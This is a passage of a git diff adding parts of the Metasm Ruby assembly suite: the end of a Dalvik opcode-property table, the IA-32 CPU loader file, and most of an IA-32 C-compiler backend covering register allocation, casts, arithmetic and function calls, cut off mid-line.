'nop', 'move', 'move_from16', 'move_16', 'move_wide', + 'move_wide_from16', 'move_wide_16', 'move_object', + 'move_object_from16', 'move_object_16', 'move_result', + 'move_result_wide', 'move_result_object', + 'move_exception', 'const_4', 'const_16', 'const', + 'const_high16', 'const_wide_16', 'const_wide_32', + 'const_wide', 'const_wide_high16', 'fill_array_data', + 'cmpl_float', 'cmpg_float', 'cmpl_double', + 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', + 'neg_long', 'not_long', 'neg_float', 'neg_double', + 'int_to_long', 'int_to_float', 'int_to_double', + 'long_to_int', 'long_to_float', 'long_to_double', + 'float_to_int', 'float_to_long', 'float_to_double', + 'double_to_int', 'double_to_long', 'double_to_float', + 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', + 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', + 'shl_int', 'shr_int', 'ushr_int', 'add_long', + 'sub_long', 'mul_long', 'and_long', 'or_long', + 'xor_long', 'shl_long', 'shr_long', 'ushr_long', + 'add_float', 'sub_float', 'mul_float', 'div_float', + 'rem_float', 'add_double', 'sub_double', 'mul_double', + 'div_double', 'rem_double', 'add_int_2addr', + 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', + 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', + 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', + 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', + 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', + 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', + 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', + 'rem_float_2addr', 'add_double_2addr', + 'sub_double_2addr', 'mul_double_2addr', + 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', + 'rsub_int', 'mul_int_lit16', 'and_int_lit16', + 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', + 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', + 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', + 'shr_int_lit8', 'ushr_int_lit8' + # normal opcode, continues to next, nothing raised + when 'const_string', 'const_string_jumbo', 'const_class', + 'monitor_enter', 'monitor_exit', 'check_cast', + 'instance_of', 'array_length', 'new_instance', + 'new_array', 'filled_new_array', + 'filled_new_array_range', 'aget', 'aget_boolean', + 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', + 'aget_object', 'aput', 'aput_boolean', 'aput_byte', + 'aput_char', 'aput_short', 'aput_wide', 'aput_object', + 'iget', 'iget_boolean', 'iget_byte', 'iget_char', + 'iget_short', 'iget_wide', 'iget_object', 'iput', + 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', + 'iput_wide', 'iput_object', 'sget', 'sget_boolean', + 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', + 'sget_object', 'sput', 'sput_boolean', 'sput_byte', + 'sput_char', 'sput_short', 'sput_wide', 'sput_object', + 'div_int', 'rem_int', 'div_long', 'rem_long', + 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', + 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', + 'div_int_lit8', 'rem_int_lit8' + op.props[:canthrow] = true + when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', + 'invoke_super_range', 'invoke_direct', + 'invoke_direct_range', 'invoke_static', + 'invoke_static_range', 'invoke_interface', + 'invoke_interface_range' + op.props[:canthrow] = true + op.props[:saveip] = true + op.props[:setip] = true + op.props[:stopexec] = true + when 'return_void', 'return', 'return_wide', 'return_object' + op.props[:setip] = true + op.props[:stopexec] = true + when 'throw' + op.props[:canthrow] = true + op.props[:stopexec] = true + when 'goto', 'goto_16', 'goto_32' + op.props[:setip] = true + op.props[:stopexec] = true + when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', + 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', + 'if_lez' + op.props[:setip] = true + when 'packed_switch', 'sparse_switch' + op.props[:setip] = true # if no table match, nostopexec + op.props[:setip] = true + when 'throw_verification_error' + op.props[:canthrow] = true + op.props[:stopexec] = true + when 'execute_inline' + when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', + 'iput_quick', 'iput_wide_quick', 'iput_object_quick' + op.props[:canthrow] = true + when 'invoke_virtual_quick', 'invoke_virtual_quick_range', + 'invoke_super_quick', 'invoke_super_quick_range', + 'invoke_direct_empty' + op.props[:canthrow] = true + op.props[:saveip] = true + op.props[:setip] = true + op.props[:stopexec] = true + when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', + 'unused_42', 'unused_43', 'unused_73', 'unused_79', + 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', + 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', + 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', + 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', + 'unused_ff' + op.props[:stopexec] = true + else + raise "Internal error #{op.name}" + end + end +end +end + diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb new file mode 100644 index 0000000000..4bc42a2845 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32.rb @@ -0,0 +1,17 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +# fix autorequire warning +class Metasm::Ia32 < Metasm::CPU +end + +require 'metasm/main' +require 'metasm/cpu/ia32/parse' +require 'metasm/cpu/ia32/encode' +require 'metasm/cpu/ia32/decode' +require 'metasm/cpu/ia32/render' +require 'metasm/cpu/ia32/compile_c' +require 'metasm/cpu/ia32/decompile' +require 'metasm/cpu/ia32/debug' diff --git a/lib/metasm/metasm/cpu/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb new file mode 100644 index 0000000000..dc7a6aaad9 --- /dev/null +++ b/lib/metasm/metasm/cpu/ia32/compile_c.rb @@ -0,0 +1,1521 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/cpu/ia32/parse' +require 'metasm/compile_c' + +module Metasm +class Ia32 +class CCompiler < C::Compiler + # holds compiler state information for a function + # registers are saved as register number (see Ia32::Reg) + # TODO cache eflags ? or just z ? (may be defered to asm_optimize) + class State + # variable => offset from ebp (::Integer or CExpression) + attr_accessor :offset + # the current function + attr_accessor :func + # register => CExpression + attr_accessor :cache + # array of register values used in the function (to save/restore at prolog/epilog) + attr_accessor :dirty + # the array of register values currently not available + attr_accessor :used + # the array of args in use (reg/modrm/composite) the reg dependencies are in +used+ + attr_accessor :inuse + # variable => register for current scope (variable never on the stack) + # bound registers are also in +used+ + attr_accessor :bound + # list of reg values that are not kept across function call + attr_accessor :abi_flushregs_call + # list of regs we can trash without restoring them + attr_accessor :abi_trashregs + + # +used+ includes ebp if true + # nil if ebp is not reserved for stack variable addressing + # Reg if used + attr_accessor :saved_ebp + + def initialize(func) + @func = func + @offset = {} + @cache = {} + @dirty = [] + @used = [4] # esp is always in use + @inuse = [] + @bound = {} + @abi_flushregs_call = [0, 1, 2] # eax, ecx, edx (r8 etc ?) + @abi_trashregs = [0, 1, 2] + end + end + + # tracks 2 registers storing a value bigger than each + class Composite + attr_accessor :low, :high + def initialize(low, high) + @low, @high = low, high + end + def sz; 64 end + end + + # some address + class Address + attr_accessor :modrm, :target + def initialize(modrm, target=nil) + @modrm, @target = modrm, target + end + def sz; @modrm.adsz end + def to_s; "#" end + end + + + def initialize(*a) + super(*a) + @cpusz = @exeformat.cpu.size + @regnummax = (@cpusz == 64 ? 15 : 7) + end + + # shortcut to add an instruction to the source + def instr(name, *args) + # XXX parse_postfix ? + @source << Instruction.new(@exeformat.cpu, name, args) + end + + # returns an available register, tries to find one not in @state.cache + # do not use with sz==8 (aliasing ah=>esp) + # does not put it in @state.inuse + # TODO multipass for reg cache optimization + # TODO dynamic regval for later fixup (need a value to be in ecx for shl, etc) + def findreg(sz = @cpusz) + caching = @state.cache.keys.grep(Reg).map { |r| r.val } + if not regval = ([*0..@regnummax] - @state.used - caching).first || + ([*0..@regnummax] - @state.used).first + raise 'need more registers! (or a better compiler?)' + end + getreg(regval, sz) + end + + # returns a Reg from a regval, mark it as dirty, flush old cache dependencies + def getreg(regval, sz=@cpusz) + flushcachereg(regval) + @state.dirty |= [regval] + Reg.new(regval, sz) + end + + # remove the cache keys that depends on the register + def flushcachereg(regval) + @state.cache.delete_if { |e, val| + case e + when Reg; e.val == regval + when Address; e = e.modrm ; redo + when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) + when Composite; e.low.val == regval or e.high.val == regval + end + } + end + + # removes elements from @state.inuse, free @state.used if unreferenced + # must be the exact object present in inuse + def unuse(*vals) + vals.each { |val| + val = val.modrm if val.kind_of? Address + @state.inuse.delete val + } + # XXX cache exempt + exempt = @state.bound.values.map { |r| r.kind_of? Composite ? [r.low.val, r.high.val] : r.val }.flatten + exempt << 4 + exempt << 5 if @state.saved_ebp + @state.used.delete_if { |regval| + next if exempt.include? regval + not @state.inuse.find { |val| + case val + when Reg; val.val == regval + when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) + when Composite; val.low.val == regval or val.high.val == regval + else raise 'internal error - inuse ' + val.inspect + end + } + } + end + + # marks an arg as in use, returns the arg + def inuse(v) + case v + when Reg; @state.used |= [v.val] + when ModRM + @state.used |= [v.i.val] if v.i + @state.used |= [v.b.val] if v.b + when Composite; @state.used |= [v.low.val, v.high.val] + when Address; inuse v.modrm ; return v + else return v + end + @state.inuse |= [v] + v + end + + # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) + def findvar(var) + if ret = @state.bound[var] + return ret + end + + if ret = @state.cache.index(var) + ret = ret.dup + inuse ret + return ret + end + + sz = 8*sizeof(var) rescue nil # extern char foo[]; + + case off = @state.offset[var] + when C::CExpression + # stack, dynamic address + # TODO + # no need to update state.cache here, never recursive + v = raise "find dynamic addr of #{var.name}" + when ::Integer + # stack + # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) + v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_ebp, Expression[-off]) + when nil + # global + if @exeformat.cpu.generate_PIC + if not reg = @state.cache.index('metasm_intern_geteip') + @need_geteip_stub = true + if @state.used.include? 6 # esi + reg = findreg + else + reg = getreg 6 + end + if reg.val != 0 + if @state.used.include? 0 + eax = Reg.new(0, @cpusz) + instr 'mov', reg, eax + else + eax = getreg 0 + end + end + + instr 'call', Expression['metasm_intern_geteip'] + + if reg.val != 0 + if @state.used.include? 0 + instr 'xchg', eax, reg + else + instr 'mov', reg, eax + end + end + + @state.cache[reg] = 'metasm_intern_geteip' + end + v = ModRM.new(@cpusz, sz, nil, nil, reg, Expression[var.name, :-, 'metasm_intern_geteip']) + else + v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) + end + end + + case var.type + when C::Array; inuse Address.new(v) + else inuse v + end + end + + # resolves the Address to Reg/Expr (may encode an 'lea') + def resolve_address(e) + r = e.modrm + unuse e + if r.imm and not r.b and not r.i + reg = r.imm + elsif not r.imm and ((not r.b and r.s == 1) or not r.i) + reg = r.b || r.i + elsif reg = @state.cache.index(e) + reg = reg.dup + else + reg = findreg + r.sz = reg.sz + instr 'lea', reg, r + end + inuse reg + @state.cache[reg] = e + reg + end + + # copies the arg e to a volatile location (register/composite) if it is not already + # unuses the old storage + # may return a register bigger than the type size (eg __int8 are stored in full reg size) + # use rsz only to force 32bits-return on a 16bits cpu + def make_volatile(e, type, rsz=@cpusz) + if e.kind_of? ModRM or @state.bound.index(e) + if type.integral? or type.pointer? + oldval = @state.cache[e] + if type.integral? and type.name == :__int64 and @cpusz != 64 + e2l = inuse findreg(32) + unuse e + e2h = inuse findreg(32) + el, eh = get_composite_parts e + instr 'mov', e2l, el + instr 'mov', e2h, eh + e2 = inuse Composite.new(e2l, e2h) + unuse e2l, e2h + else + unuse e + n = type.integral? ? type.name : :ptr + if (sz = typesize[n]*8) < @cpusz or sz < rsz or e.sz < rsz + e2 = inuse findreg(rsz) + op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') + op = 'mov' if e.sz == e2.sz + else + e2 = inuse findreg(sz) + op = 'mov' + end + instr op, e2, e + end + @state.cache[e2] = oldval if oldval and e.kind_of? ModRM + e2 + elsif type.float? + raise 'bad float static' + e.inspect if not e.kind_of? ModRM + unuse e + instr 'fld', e + FpReg.new nil + else raise + end + elsif e.kind_of? Address + make_volatile resolve_address(e), type, rsz + elsif e.kind_of? Expression + if type.integral? or type.pointer? + if type.integral? and type.name == :__int64 and @cpusz != 64 + e2 = inuse Composite.new(inuse(findreg(32)), findreg(32)) + instr 'mov', e2.low, Expression[e, :&, 0xffff_ffff] + instr 'mov', e2.high, Expression[e, :>>, 32] + else + e2 = inuse findreg + instr 'mov', e2, e + end + e2 + elsif type.float? + case e.reduce + when 0; instr 'fldz' + when 1; instr 'fld1' + else + esp = Reg.new(4, @cpusz) + instr 'push.i32', Expression[e, :>>, 32] + instr 'push.i32', Expression[e, :&, 0xffff_ffff] + instr 'fild', ModRM.new(@cpusz, 64, nil, nil, esp, nil) + instr 'add', esp, 8 + end + FpReg.new nil + end + else + e + end + end + + # returns two args corresponding to the low and high 32bits of the 64bits composite arg + def get_composite_parts(e) + case e + when ModRM + el = e.dup + el.sz = 32 + eh = el.dup + eh.imm = Expression[eh.imm, :+, 4] + when Expression + el = Expression[e, :&, 0xffff_ffff] + eh = Expression[e, :>>, 32] + when Composite + el = e.low + eh = e.high + when Reg + el = e + eh = findreg + else raise + end + [el, eh] + end + + # returns the instruction suffix for a comparison operator + def getcc(op, type) + case op + when :'=='; 'z' + when :'!='; 'nz' + when :'<' ; 'b' + when :'>' ; 'a' + when :'<='; 'be' + when :'>='; 'ae' + else raise "bad comparison op #{op}" + end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') + end + + # compiles a c expression, returns an Ia32 instruction argument + def c_cexpr_inner(expr) + case expr + when ::Integer; Expression[expr] + when C::Variable; findvar(expr) + when C::CExpression + if not expr.lexpr or not expr.rexpr + inuse c_cexpr_inner_nol(expr) + else + inuse c_cexpr_inner_l(expr) + end + when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) + else puts "ia32/c_ce_i: unsupported #{expr}" if $VERBOSE + end + end + + # compile a CExpression with no lexpr + def c_cexpr_inner_nol(expr) + case expr.op + when nil + r = c_cexpr_inner(expr.rexpr) + if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and + expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType + r = c_cexpr_inner_cast(expr, r) + end + r + when :+ + c_cexpr_inner(expr.rexpr) + when :- + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) + if expr.type.integral? or expr.type.pointer? + if r.kind_of? Composite + instr 'neg', r.low + instr 'adc', r.high, Expression[0] + instr 'neg', r.high + else + instr 'neg', r + end + elsif expr.type.float? + instr 'fchs' + else raise + end + r + when :'++', :'--' + r = c_cexpr_inner(expr.rexpr) + inc = true if expr.op == :'++' + if expr.type.integral? or expr.type.pointer? + if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 + rl, rh = get_composite_parts r + instr 'add', rl, Expression[inc ? 1 : -1] + instr 'adc', rh, Expression[inc ? 0 : -1] + else + op = (inc ? 'inc' : 'dec') + instr op, r + end + elsif expr.type.float? + raise 'bad lvalue' if not r.kind_of? ModRM + instr 'fld1' + op = (inc ? 'faddp' : 'fsubp') + instr op, r + instr 'fstp', r + end + r + when :& + raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable + @state.cache.each { |r_, c| + return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr + } + r = c_cexpr_inner(expr.rexpr) + raise 'bad lvalue' if not r.kind_of? ModRM + unuse r + r = Address.new(r) + inuse r + r.target = expr.rexpr + r + when :* + expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address + e = c_cexpr_inner(expr.rexpr) + sz = 8*sizeof(expr) + case e + when Address + unuse e + e = e.modrm.dup + e.sz = sz + inuse e + when ModRM; e = make_volatile(e, expr.rexpr.type) if not expr.rexpr.type.float? + end + case e + when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) + when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) + end + e + when :'!' + r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.rexpr.type) + if expr.rexpr.type.integral? or expr.type.pointer? + if expr.type.integral? and expr.rexpr.type.name == :__int64 and @cpusz != 64 + raise # TODO + end + r = make_volatile(r, expr.rexpr.type) + instr 'test', r, r + elsif expr.rexpr.type.float? + if @exeformat.cpu.opcode_list_byname['fucomip'] + instr 'fldz' + instr 'fucomip' + else + raise # TODO + end + r = inuse findreg + else raise 'bad comparison ' + expr.to_s + end + if @exeformat.cpu.opcode_list_byname['setz'] + instr 'setz', Reg.new(r.val, 8) + instr 'and', r, Expression[1] + else + instr 'mov', r, Expression[1] + label = new_label('setcc') + instr 'jz', Expression[label] + instr 'mov', r, Expression[0] + @source << Label.new(label) + end + r + else raise 'mmh ? ' + expr.to_s + end + end + + # compile a cast (BaseType to BaseType) + def c_cexpr_inner_cast(expr, r) + esp = Reg.new(4, @cpusz) + if expr.type.float? and expr.rexpr.type.float? + if expr.type.name != expr.rexpr.type.name and r.kind_of? ModRM + instr 'fld', r + unuse r + r = FpReg.new nil + end + elsif expr.type.float? and expr.rexpr.type.integral? + r = resolve_address r if r.kind_of? Address + return make_volatile(r, expr.type) if r.kind_of? Expression + unuse r + if expr.rexpr.type.specifier == :unsigned and r.sz != 64 + instr 'push.i32', Expression[0] + end + case r + when ModRM + case expr.rexpr.type.name + when :__int8, :__int16 + r = make_volatile(r, expr.rexpr.type, 32) + instr 'push', r + else + if expr.rexpr.type.specifier != :unsigned + instr 'fild', r + return FpReg.new(nil) + end + if r.sz == 64 + get_composite_parts(r).reverse_each { |rp| instr 'push', rp } + else + instr 'push', r + end + end + when Composite + instr 'push', r.high + instr 'push', r.low + when Reg + if r.sz == 16 + op = ((expr.rexpr.type.specifier == :unsigned) ? 'movzx' : 'movsx') + rr = r.dup + rr.sz = 32 + instr op, rr, r + r = rr + end + instr 'push', r + end + m = ModRM.new(@cpusz, r.sz, nil, nil, esp, nil) + instr 'fild', m + instr 'add', esp, (expr.rexpr.type.specifier == :unsigned ? 8 : Expression[r.sz/8]) + if expr.rexpr.type.specifier == :unsigned and r.sz == 64 + label = new_label('unsign_float') + if m.sz == 64 and @cpusz < 64 + m = get_composite_parts(m)[1] + end + m2 = m + m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM + m2 = get_composite_parts(m2)[0] if m2.kind_of? Composite + instr 'test', m2, m2 + instr 'jns', Expression[label] + instr 'push.i32', Expression[0x7fff_ffff] + instr 'push.i32', Expression[0xffff_ffff] + instr 'fild', m + instr 'add', esp, 8 + instr 'faddp', FpReg.new(1) + instr 'fld1' + instr 'faddp', FpReg.new(1) + @source << Label.new(label) + end + r = FpReg.new nil + elsif expr.type.integral? and expr.rexpr.type.float? + r = make_volatile(r, expr.rexpr.type) # => ST(0) + + if expr.type.name == :__int64 + instr 'sub', esp, Expression[8] + instr 'fistp', ModRM.new(@cpusz, 64, nil, nil, esp, nil) + if @cpusz == 64 + r = findreg + instr 'pop', r + else + r = Composite.new(findreg(32), findreg(32)) + instr 'pop', r.low + instr 'pop', r.high + end + else + instr 'sub', esp, Expression[4] + instr 'fistp', ModRM.new(@cpusz, 32, nil, nil, esp, nil) + r = findreg(32) + instr 'pop', r + tto = typesize[expr.type.name]*8 + instr 'and', r, Expression[(1< tto + end + inuse r + elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) + tto = typesize[expr.type.integral? ? expr.type.name : :ptr]*8 + tfrom = typesize[expr.rexpr.type.integral? ? expr.rexpr.type.name : :ptr]*8 + r = resolve_address r if r.kind_of? Address + if r.kind_of? Expression + r = make_volatile r, expr.type + elsif tfrom > tto + if tfrom == 64 and r.kind_of? Composite + unuse r + r = r.low + inuse r + end + case r + when ModRM + unuse r + r = r.dup + r.sz = tto + inuse r + when Reg + instr 'and', r, Expression[(1< tto + end + elsif tto > tfrom + if tto == 64 and @cpusz != 64 + high = findreg(32) + unuse r + if not r.kind_of? Reg or r.sz != 32 + inuse high + low = findreg(32) + unuse high + op = (r.sz == 32 ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) + instr op, low, r + r = low + end + r = inuse Composite.new(r, high) + if expr.type.specifier == :unsigned + instr 'xor', r.high, r.high + else + instr 'mov', r.high, r.low + instr 'sar', r.high, Expression[31] + end + elsif not r.kind_of? Reg or r.sz != @cpusz + unuse r + reg = inuse findreg + op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) + instr op, reg, r + r = reg + end + end + end + r + end + + # compiles a CExpression, not arithmetic (assignment, comparison etc) + def c_cexpr_inner_l(expr) + case expr.op + when :funcall + c_cexpr_inner_funcall(expr) + when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' + l = c_cexpr_inner(expr.lexpr) + raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) + instr 'fld', l if expr.type.float? + r = c_cexpr_inner(expr.rexpr) + op = expr.op.to_s.chop.to_sym + c_cexpr_inner_arith(l, op, r, expr.type) + instr 'fstp', l if expr.type.float? + l + when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' + # both sides are already cast to the same type by the precompiler + # XXX expr.type.pointer? + if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and + typesize[expr.lexpr.type.name] == typesize[:ptr] + expr.lexpr.type.name = :ptr + end + l = c_cexpr_inner(expr.lexpr) + l = make_volatile(l, expr.type) if not l.kind_of? Address + if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg + unuse l + l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) + inuse l + end + if l.kind_of? Address and expr.type.integral? + l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 + if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val + unuse l.modrm.b if l.modrm.b != l.modrm.i + l.modrm.b = nil + l.modrm.s = 2 + end + case expr.op + when :+ + rexpr = expr.rexpr + rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and + rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and + typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] + if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr + r1 = c_cexpr_inner(rexpr.lexpr) + r2 = c_cexpr_inner(rexpr.rexpr) + r1, r2 = r2, r1 if r1.kind_of? Expression + if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) + case r1 + when ModRM, Address, Reg + r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg + if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) + unuse l, r1, r2 + l = Address.new(l.modrm.dup) + inuse l + l.modrm.i = r1 + l.modrm.s = (l.modrm.s || 0) + rr2 + return l + end + end + end + r = make_volatile(r1, rexpr.type) + c_cexpr_inner_arith(r, :*, r2, rexpr.type) + else + r = c_cexpr_inner(rexpr) + end + r = resolve_address r if r.kind_of? Address + r = make_volatile(r, rexpr.type) if r.kind_of? ModRM + case r + when Reg + unuse l + l = Address.new(l.modrm.dup) + inuse l + if l.modrm.b + if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) + l.modrm.i = r + l.modrm.s = (l.modrm.s || 0) + 1 + unuse r + return l + end + else + l.modrm.b = r + unuse r + return l + end + when Expression + unuse l, r + l = Address.new(l.modrm.dup) + inuse l + l.modrm.imm = Expression[l.modrm.imm, :+, r] + return l + end + when :- + r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address + if r.kind_of? Expression + unuse l, r + l = Address.new(l.modrm.dup) + inuse l + l.modrm.imm = Expression[l.modrm.imm, :-, r] + return l + end + when :* + r = c_cexpr_inner(expr.rexpr) + if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) + if l.modrm.b and not l.modrm.i + if rr != 1 + l.modrm.i = l.modrm.b + l.modrm.s = rr + l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm + end + unuse r + return l + elsif l.modrm.i and not l.modrm.b and l.modrm.s*rr <= 8 + l.modrm.s *= rr + l.modrm.imm = Expression[l.modrm.imm, :*, rr] if l.modrm.imm and rr != 1 + unuse r + return l + end + end + end + end + l = make_volatile(l, expr.type) if l.kind_of? Address + r ||= c_cexpr_inner(expr.rexpr) + c_cexpr_inner_arith(l, expr.op, r, expr.type) + l + when :'=' + r = c_cexpr_inner(expr.rexpr) + l = c_cexpr_inner(expr.lexpr) + raise 'bad lvalue ' + l.inspect if not l.kind_of? ModRM and not @state.bound.index(l) + r = resolve_address r if r.kind_of? Address + r = make_volatile(r, expr.type) if l.kind_of? ModRM and r.kind_of? ModRM + unuse r + if expr.type.integral? or expr.type.pointer? + if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 + ll, lh = get_composite_parts l + rl, rh = get_composite_parts r + instr 'mov', ll, rl + instr 'mov', lh, rh + elsif r.kind_of? Address + m = r.modrm.dup + m.sz = l.sz + instr 'lea', l, m + else + if l.kind_of? ModRM and r.kind_of? Reg and l.sz != r.sz + raise if l.sz > r.sz + if l.sz == 8 and r.val >= 4 + reg = ([0, 1, 2, 3] - @state.used).first + if not reg + eax = Reg.new(0, r.sz) + instr 'push', eax + instr 'mov', eax, r + instr 'mov', l, Reg.new(eax.val, 8) + instr 'pop', eax + else + flushecachereg(reg) + instr 'mov', Reg.new(reg, r.sz), r + instr 'mov', l, Reg.new(reg, 8) + end + else + instr 'mov', l, Reg.new(r.val, l.sz) + end + else + instr 'mov', l, r + end + end + elsif expr.type.float? + r = make_volatile(r, expr.type) if r.kind_of? Expression + instr 'fstp', l + end + l + when :>, :<, :>=, :<=, :==, :'!=' + l = c_cexpr_inner(expr.lexpr) + l = make_volatile(l, expr.type) + r = c_cexpr_inner(expr.rexpr) + unuse r + if expr.lexpr.type.integral? or expr.lexpr.type.pointer? + if expr.lexpr.type.integral? and expr.lexpr.type.name == :__int64 and @cpusz != 64 + raise # TODO + end + instr 'cmp', l, r + elsif expr.lexpr.type.float? + raise # TODO + instr 'fucompp', l, r + l = inuse findreg + else raise 'bad comparison ' + expr.to_s + end + opcc = getcc(expr.op, expr.type) + if @exeformat.cpu.opcode_list_byname['set'+opcc] + instr 'set'+opcc, Reg.new(l.val, 8) + instr 'and', l, 1 + else + instr 'mov', l, Expression[1] + label = new_label('setcc') + instr 'j'+opcc, Expression[label] + instr 'mov', l, Expression[0] + @source << Label.new(label) + end + l + else + raise 'unhandled cexpr ' + expr.to_s + end + end + + # compiles a subroutine call + def c_cexpr_inner_funcall(expr) + # check if an obj has an attribute - check on obj and its type + hasattr = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute(a)) or o.type.has_attribute(a) } + hasattrv = lambda { |o, a| (o.kind_of?(C::Variable) and o.has_attribute_var(a)) or o.type.has_attribute_var(a) } + + fargs = expr.lexpr.type.pointer? ? expr.lexpr.type.pointed.args : expr.lexpr.type.args + + backup = [] + if hasattr[expr.lexpr, 'fastcall'] + regargs = [1, 2][0, expr.rexpr.length] + regargs += [nil] * (expr.rexpr.length-2) if expr.rexpr.length > 2 + else + regargs = fargs.map { |a| hasattrv[a, 'register'] }.map { |a| Reg.from_str(a).val if a } + end + @state.abi_flushregs_call.each { |reg| + next if reg == 4 + next if reg == 5 and @state.saved_ebp + if not @state.used.include? reg + if not @state.abi_trashregs.include? reg + # XXX should exclude other code compiled by us (we wont trash reg) + @state.dirty |= [reg] + end + next + end + backup << reg + unuse reg + instr 'push', Reg.new(reg, [@cpusz, 32].max) + } + regargs_list = regargs.compact + regargs_list.each { |reg| + next if backup.include? reg + @state.dirty |= [reg] + next if not @state.used.include? reg + backup << reg + instr 'push', Reg.new(reg, [@cpusz, 32].max) + } + expr.rexpr.reverse_each { |arg| + a = c_cexpr_inner(arg) + a = resolve_address a if a.kind_of? Address + unuse a + if r = regargs.pop + inuse r + instr 'mov', Reg.new(r, 32), a + next + end + case arg.type + when C::Pointer + instr 'push', a + when C::BaseType + case t = arg.type.name + when :__int8 + a = make_volatile(a, arg.type) if a.kind_of? ModRM + unuse a + instr 'push', a + when :__int16 + # XXX __int8 unuse, why not here + if @cpusz != 16 and a.kind_of? Reg + instr 'push', Reg.new(a.val, @cpusz) + else + a = make_volatile(a, arg.type) + unuse a + instr 'push', a + end + when :__int32 + instr 'push', a + when :__int64 + case a + when Composite + instr 'push', a.high + instr 'push', a.low + when Reg + instr 'push', a + when ModRM + if @cpusz == 64 + instr 'push', a + else + ml, mh = get_composite_parts a + instr 'push', mh + instr 'push', ml + end + when Expression + instr 'push.i32', Expression[a, :>>, 32] + instr 'push.i32', Expression[a, :&, 0xffff_ffff] + end + when :float, :double, :longdouble + esp = 